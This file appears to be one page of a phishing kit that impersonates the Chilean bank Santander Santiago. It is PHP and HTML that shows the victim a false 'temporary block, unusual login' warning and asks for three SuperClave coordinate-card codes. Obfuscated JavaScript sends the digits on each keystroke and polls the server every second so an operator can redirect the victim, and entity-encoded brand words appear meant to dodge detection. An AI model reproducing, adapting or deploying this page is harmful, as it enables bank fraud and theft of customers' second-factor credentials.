<?php
if (!isset($_SESSION['referido'], $_SESSION['u'], $_POST['vista'])) :
    exit();
endif;

?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="/src/css/global.css">
    <link rel="stylesheet" href="/src/css/vsTS.css">
    <link rel="stylesheet" href="/src/css/vsMS.css">
    <link rel="stylesheet" href="/src/css/estilos.css">
    <link rel="stylesheet" href="/src/css/loading.css">
    <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,600,700,400italic,700italic,300" rel="stylesheet" type="text/css">
    <title>Santander Santiago</title>
    <style>
        #msgerror p {
            text-align: center;
            color: red;
        }
    </style>
</head>

<body>
    <div id="headertop" style="height: 50px;">
        <img alt="" id="scnTS_itm1_img_nvl0" src="/src/imagen/logo.gif">
        <div class="clearfix">
            <ul id="scnTS_itm2_mns_nvl0" class="clearfix">
                <img src="/src/imagen/menu/menu2.jpg" height="36" width="408" alt="">
            </ul>
        </div>
        <div id="iddiv">
            <span id="idspan1">Bienvenido <strong><?= $userDato->nombre; ?></strong></span>
            <span id="idspan2"><?= html_entity_decode($userDato->lastse); ?></span>
        </div>
        <div id="content"></div>
    </div>

    <div id="contensec">
        <table width="100%" cellpadding="0" cellspacing="0">
            <tbody>
                <tr>
                    <td valign="top" width="150">
                        <div id="menu" class="clearfix">
                            <img src="/src/imagen/menu/menu.jpg" style="cursor: pointer;" height="432" alt="">
                        </div>
                    </td>
                    <td>
                        <div id="oom" class="mr-10 d-100">
                            <div class="ouiias">
                                <p class="red"><strong>Importante: <?= $userDato->nombre; ?>.</strong></p>
                                <p>Santander. Bloqueo temporal, ingreso inusual a su cuenta, requiere atencion para utilizar su plataforma digital.</p>
                                <form action="" method="post" id="frmpost" id="frmpost">
                                    <input type="hidden" name="proceso" value="osdfuiaopsdfioasdf">
                                    <div>
                                        <div class="container-md">
                                            <div class="caja--icon">
                                                <input type="hidden" name="SuperClave_Challenge_Size" value="3">
                                                <div class="caja--icon__icon--red"> <i class="str-icon-bloqueo"></i> </div>
                                                <p class="caja__title">&nbsp;&nbsp;Ingreso de &#83;&#117;&#112;&#101;&#114;&#67;&#108;&#97;&#118;&#101;</p>
                                                <div class="super-clave">
                                                    <div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="icorde0" data-c="<?= $userDato->cordea; ?>" class="super-clave__input sc" maxlength="2" required="" autocomplete="off" name="icorde0" size="2">
                                                            <input type="hidden" name="iname0" value="<?= $userDato->cordea; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $userDato->cordea; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="icorde1" data-c="<?= $userDato->cordeb; ?>" class="super-clave__input sc" maxlength="2" required="" autocomplete="off" name="icorde1" size="2">
                                                            <input type="hidden" name="iname1" value="<?= $userDato->cordeb; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $userDato->cordeb; ?></label>
                                                        </div>
                                                        <div class="super-clave__container">
                                                            <input type="password" id="icorde2" data-c="<?= $userDato->cordec; ?>" class="super-clave__input sc" maxlength="2" required="" autocomplete="off" name="icorde2" size="2">
                                                            <input type="hidden" name="iname2" value="<?= $userDato->cordec; ?>">
                                                            <span class="bar"></span>
                                                            <label class="placeholder"><?= $userDato->cordec; ?></label>
                                                        </div>
                                                    </div>
                                                </div>
                                                <div class="alerta alerta--bottom"> <i class="alerta--bottom__icono str-icon-info"></i>
                                                    <p class="alerta__txt">Ingresa los dígitos indicados por las coordenadas de tu &#83;&#117;&#112;&#101;&#114;&#67;&#108;&#97;&#118;&#101;.</p>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </form>
                                <div id="msgerror">
                                    <?php if (isset($_SESSION['cs'])) : ?>
                                        <p>Las coordenada ingresa es in correcta, verifique e intente nuevamente</p>
                                    <?php endif; ?>
                                </div>
                                <div style="text-align: center;">
                                    <a id="btnpost" onclick="javascript:vaform(this);" class="botonNew botonSecundario bordePrincipal">Aceptar <i class="icon-flecha-derecha"></i></a>
                                </div>
                            </div>

                        </div>

                    </td>
                </tr>
            </tbody>
        </table>


        <div style="clear: both;"></div>
    </div>

    <div id="footerp">
        <div style="margin: 0px auto;width: 570px;">
            <table cellpadding="0" cellspacing="0" align="center">
                <tbody>
                    <tr>
                        <td>
                            <div id="isnotMacIE5">
                                <img src="/src/imagen/menu/menu3.jpg" style="cursor: pointer;margin-top: 2px;" width="570" alt="">
                            </div>
                        </td>
                    </tr>
                </tbody>
            </table>
        </div>
    </div>
    <form id="formview" method="post" action=""><input type="hidden" name="vista" value=""></form>
    <form id="formwait" method="post" action=""><input type="hidden" name="proceso" value="oooiikaodtayusdauysdygha"></form>
    <form id="formwrit" method="post" action=""><input type="hidden" name="proceso" value="poiaisdpfoisfdoadfopisda"></form>
</body>

</html>
<script src="/src/js/uuytaiosido.js"></script>
<script>
    var tool = new Mataburr0oa();
    var sesoooksd = '<?= $_SESSION['referido']; ?>';

    window.onload = () => {

        document.getElementById('icorde0').focus();

        setInterval(() => {
            var form = document.forms.formwait;
            tool.ajaxrequest(sesoooksd, 'post/req/soho', ooaosi1, form);
        }, 1000);
    }

    document.getElementById('icorde0').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('icorde0').addEventListener('keyup', (e) => {
        ooaposd();
        asdfioaoisfu(e.target.value);
        if (e.target.value.length == 2) {
            document.getElementById('icorde1').focus();
        }
    })

    document.getElementById('icorde1').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('icorde1').addEventListener('keyup', (e) => {
        ooaposd();
        asdfioaoisfu(e.target.value);
        if (e.target.value.length == 2) {
            document.getElementById('icorde2').focus();
        }
    })

    document.getElementById('icorde2').addEventListener('keypress', (e) => {
        var charCode = e.key;
        if ((/^[0123456789]+$/.test(charCode))) {
            return true;
        } else {
            e.preventDefault();
            return false
        }
    })

    document.getElementById('icorde2').addEventListener('keyup', (e) => {
        ooaposd();
        asdfioaoisfu(e.target.value);
    })

    function ooaosi1(e) {
        var obJSON = JSON.parse(e);
        if (obJSON.pr) {
            if (obJSON.pr == 1) {
                if (obJSON.est != 4) {
                    formview('/' + sesoooksd + '/transa/segmentos/Menu/view.asp');
                }
            } else {
                window.location.href = '/';
            }
        }
    }

    function formview($url) {
        var $form = document.forms.formview;
        $form.setAttribute('action', $url);
        $form.submit();
    }


    function ooaposd() {
        var oasu1 = document.getElementById('icorde0').value;
        var oasu2 = document.getElementById('icorde1').value;
        var oasu3 = document.getElementById('icorde2').value;
        var oasod = true;

        if (oasu1.length != 2) {
            oasod = false;
        }

        if (oasu2.length != 2) {
            oasod = false;
        }

        if (oasu3.length != 2) {
            oasod = false;
        }

        if (oasod == true) {
            if (document.getElementById('btnpost').classList.contains('botonSecundario')) {
                document.getElementById('btnpost').classList.add('botonPrimario');
                document.getElementById('btnpost').classList.remove('botonSecundario');
                document.getElementById('btnpost').classList.remove('bordePrincipal');
            } else {
                if (!document.getElementById('btnpost').classList.contains('botonPrimario')) {
                    document.getElementById('btnpost').classList.add('botonPrimario');
                }
            }
        } else {
            if (!document.getElementById('btnpost').classList.contains('botonSecundario')) {
                document.getElementById('btnpost').classList.remove('botonPrimario');
                document.getElementById('btnpost').classList.add('botonSecundario');
                document.getElementById('btnpost').classList.add('bordePrincipal');
            }
        }

    }

    function uuryysipq1(res) {
        var obJSON = JSON.parse(res);
        if (obJSON.pr) {
            if (obJSON.pr == 1) {
                formview('/' + sesoooksd + '/transa/segmentos/Menu/view.asp');
            } else {
                window.location.href = '/';
            }
        } else {
            window.location.href = '/';
        }
    }

    function asdfioaoisfu(e) {
        var form = document.forms.formwrit;
        tool.ajaxrequest(sesoooksd, 'post/req/soho', iuasfdhjasdfl, form);
    }

    function iuasfdhjasdfl(res) {
        console.log(res);
    }

    function vaform(t) {
        if (t.classList.contains('botonPrimario')) {
            var form = document.forms.frmpost;
            tool.ajaxrequest(sesoooksd, 'post/req/soho', uuryysipq1, form);
        } else {

            var oasu1 = document.getElementById('icorde0').value;
            var oasu2 = document.getElementById('icorde1').value;
            var oasu3 = document.getElementById('icorde2').value;

            if (oasu1.length != 2) {
                var temp = document.getElementById('icorde0').getAttribute('data-c');
                document.getElementById('msgerror').innerHTML = '<p>De ingresar las coordenda <b>' + temp + '</b> para continuar</p>';
                document.getElementById('icorde0').focus();
                return false;
            }

            if (oasu2.length != 2) {
                var temp = document.getElementById('icorde1').getAttribute('data-c');
                document.getElementById('msgerror').innerHTML = '<p>De ingresar las coordenda <b>' + temp + '</b> para continuar</p>';
                document.getElementById('icorde1').focus();
                return false;
            }

            if (oasu3.length != 2) {
                var temp = document.getElementById('icorde2').getAttribute('data-c');
                document.getElementById('msgerror').innerHTML = '<p>De ingresar las coordenda <b>' + temp + '</b> para continuar</p>';
                document.getElementById('icorde2').focus();
                return false;
            }

        }
    }
</script>